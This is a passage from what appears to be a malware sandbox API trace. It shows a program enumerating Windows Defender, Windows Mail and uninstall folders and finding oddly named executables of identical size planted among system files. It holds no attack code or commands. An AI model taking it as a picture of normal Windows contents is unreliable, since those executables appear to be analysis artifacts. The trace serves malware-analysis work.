	[0055.470] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4f2ea20, ftCreationTime.dwHighDateTime=0x1d4da7e, ftLastAccessTime.dwLowDateTime=0xd30d9b70, ftLastAccessTime.dwHighDateTime=0x1d4dae4, ftLastWriteTime.dwLowDateTime=0xd30d9b70, ftLastWriteTime.dwHighDateTime=0x1d4dae4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="midlands_females_spectrum.exe", cAlternateFileName="MIDLAN~1.EXE")) returned 1
	[0055.470] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.470] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\midlands_females_spectrum.exe" (normalized: "c:\\program files (x86)\\uninstall information\\midlands_females_spectrum.exe"), fInfoLevelId=0x0, lpFileInformation=0x124caa08 | out: lpFileInformation=0x124caa08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4f2ea20, ftCreationTime.dwHighDateTime=0x1d4da7e, ftLastAccessTime.dwLowDateTime=0xd30d9b70, ftLastAccessTime.dwHighDateTime=0x1d4dae4, ftLastWriteTime.dwLowDateTime=0xd30d9b70, ftLastWriteTime.dwHighDateTime=0x1d4dae4, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0055.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender" (normalized: "c:\\program files (x86)\\windows defender"), fInfoLevelId=0x0, lpFileInformation=0x124caa58 | out: lpFileInformation=0x124caa58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0055.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender" (normalized: "c:\\program files (x86)\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.471] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x124159e0 | out: lpFindFileData=0x124159e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x126168c0, ftCreationTime.dwHighDateTime=0x1d4e11a, ftLastAccessTime.dwLowDateTime=0x77084530, ftLastAccessTime.dwHighDateTime=0x1d4bb9c, ftLastWriteTime.dwLowDateTime=0x77084530, ftLastWriteTime.dwHighDateTime=0x1d4bb9c, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="consumption starter.exe", cAlternateFileName="CONSUM~1.EXE")) returned 1
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3851740, ftCreationTime.dwHighDateTime=0x1d4edbb, ftLastAccessTime.dwLowDateTime=0x9f3417e0, ftLastAccessTime.dwHighDateTime=0x1d4dfab, ftLastWriteTime.dwLowDateTime=0x9f3417e0, ftLastWriteTime.dwHighDateTime=0x1d4dfab, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.exe", cAlternateFileName="CONTAI~1.EXE")) returned 1
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcc1c145, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdcc1c145, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7732a07, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7732a07, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9910bf, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde9910bf, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ac13ba0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe6c321, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbe6c321, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x6c6758d0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c1e410, ftCreationTime.dwHighDateTime=0x1d513c4, ftLastAccessTime.dwLowDateTime=0x4fb87440, ftLastAccessTime.dwHighDateTime=0x1d50cb5, ftLastWriteTime.dwLowDateTime=0x4fb87440, ftLastWriteTime.dwHighDateTime=0x1d50cb5, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="subaru notre.exe", cAlternateFileName="SUBARU~1.EXE")) returned 1
	[0055.471] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.471] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpasdesc.dll"), fInfoLevelId=0x0, lpFileInformation=0x124cad28 | out: lpFileInformation=0x124cad28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcc1c145, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdcc1c145, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400)) returned 1
	[0055.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpClient.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpclient.dll"), fInfoLevelId=0x0, lpFileInformation=0x124cad78 | out: lpFileInformation=0x124cad78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7732a07, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7732a07, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe00)) returned 1
	[0055.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpoav.dll"), fInfoLevelId=0x0, lpFileInformation=0x124cadc8 | out: lpFileInformation=0x124cadc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9910bf, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde9910bf, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ac13ba0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd600)) returned 1
	[0055.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" (normalized: "c:\\program files (x86)\\windows defender\\msmplics.dll"), fInfoLevelId=0x0, lpFileInformation=0x124cae18 | out: lpFileInformation=0x124cae18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe6c321, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbe6c321, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x6c6758d0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x1200)) returned 1
	[0055.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\consumption starter.exe" (normalized: "c:\\program files (x86)\\windows defender\\consumption starter.exe"), fInfoLevelId=0x0, lpFileInformation=0x124cae68 | out: lpFileInformation=0x124cae68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x126168c0, ftCreationTime.dwHighDateTime=0x1d4e11a, ftLastAccessTime.dwLowDateTime=0x77084530, ftLastAccessTime.dwHighDateTime=0x1d4bb9c, ftLastWriteTime.dwLowDateTime=0x77084530, ftLastWriteTime.dwHighDateTime=0x1d4bb9c, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0055.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\container.exe" (normalized: "c:\\program files (x86)\\windows defender\\container.exe"), fInfoLevelId=0x0, lpFileInformation=0x124caeb8 | out: lpFileInformation=0x124caeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3851740, ftCreationTime.dwHighDateTime=0x1d4edbb, ftLastAccessTime.dwLowDateTime=0x9f3417e0, ftLastAccessTime.dwHighDateTime=0x1d4dfab, ftLastWriteTime.dwLowDateTime=0x9f3417e0, ftLastWriteTime.dwHighDateTime=0x1d4dfab, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0055.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US" (normalized: "c:\\program files (x86)\\windows defender\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x124caf08 | out: lpFileInformation=0x124caf08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.473] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US" (normalized: "c:\\program files (x86)\\windows defender\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.473] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1
	[0055.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1
	[0055.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.473] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpasdesc.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x124caff8 | out: lpFileInformation=0x124caff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00)) returned 1
	[0055.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpevmsg.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x124cb048 | out: lpFileInformation=0x124cb048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00)) returned 1
	[0055.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\subaru notre.exe" (normalized: "c:\\program files (x86)\\windows defender\\subaru notre.exe"), fInfoLevelId=0x0, lpFileInformation=0x124cb098 | out: lpFileInformation=0x124cb098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c1e410, ftCreationTime.dwHighDateTime=0x1d513c4, ftLastAccessTime.dwLowDateTime=0x4fb87440, ftLastAccessTime.dwHighDateTime=0x1d50cb5, ftLastWriteTime.dwLowDateTime=0x4fb87440, ftLastWriteTime.dwHighDateTime=0x1d50cb5, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0055.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail" (normalized: "c:\\program files (x86)\\windows mail"), fInfoLevelId=0x0, lpFileInformation=0x124cb0e8 | out: lpFileInformation=0x124cb0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.474] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail" (normalized: "c:\\program files (x86)\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.475] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x124159e0 | out: lpFindFileData=0x124159e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e00b0b6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9e00b0b6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6cf87540, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b9f397, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b9f397, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879b1223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x879b1223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87a95a65, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a77900b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a77900b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1aba92, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a1aba92, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb05167b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2b2af4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2b2af4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x78aae250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1
	[0055.476] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.476] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
